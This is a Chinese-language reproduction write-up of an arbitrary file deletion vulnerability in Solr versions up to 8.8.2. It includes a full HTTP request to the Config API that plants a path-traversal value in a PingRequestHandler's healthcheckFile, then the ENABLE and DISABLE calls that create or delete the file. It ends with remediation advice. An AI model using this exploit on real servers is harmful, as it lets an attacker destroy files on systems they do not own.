漏洞描述:
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
在Solr <= 8.8.2中存在安全漏洞,这是个"任意"文件删除漏洞, 可以删除Files.delete()能删的任何文件。
复现过程:
1.访问http://ip:port,出现如下页面,开始实验
2.通过burp抓取该页面的包,并修改get请求
POST /solr/db/config HTTP/1.1
Host: ip:port
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.60
Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://192.168.0.253:32778/solr/css/angular/common.css?_=8.1.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,en-GB-oxendict;q=0.5,en-IN;q=0.4,en-IE;q=0.3,en-AU;q=0.2,en-CA;q=0.1,en-ZA;q=0.1,en-NZ;q=0.1
Cookie: _ga=GA1.1.363030958.1704177735; splunkweb_csrf_token_8000=6625282306075854530; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1704247262; org.jboss.seam.core.TimeZone=Asia/Shanghai; org.jboss.seam.core.Locale=zh_CN; jiveforums.admin.logviewer=debug.size=0&info.size=7845&warn.size=12575&error.size=1257; CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; seraph.confluence=622593%3Aff675e8a943bce68e34506d8539ee37f0ccb1fdf; doc-sidebar=300px; PHPSESSID=7jdvdj1d4bra0b1uhq6b4697v4
Connection: close
Content-Length: 220
{
"add-requesthandler": {
"name": "/test_solr",
"class":"solr.PingRequestHandler",
"defaults":{"echoParams":"explicit"},
"healthcheckFile":"../../../../../../../../../../../../../test.txt",
}
}
3.检查是否创建成功
http://ip:port/solr/db/config/overlay?omitHeader=true
4.删除文件
http://ip:port/solr/db/test_solr?action=DISABLE (test_solr为文件名)
5.创建文件
http://ip:port/solr/db/test_solr?action=ENABLE
借此漏洞,攻击者可以删除任何文件。
修复建议:
1、为Solr配置身份校验插件, 从而避免任意用户修改config;。
2、给Config API配置个身份验证, 且不对外开放。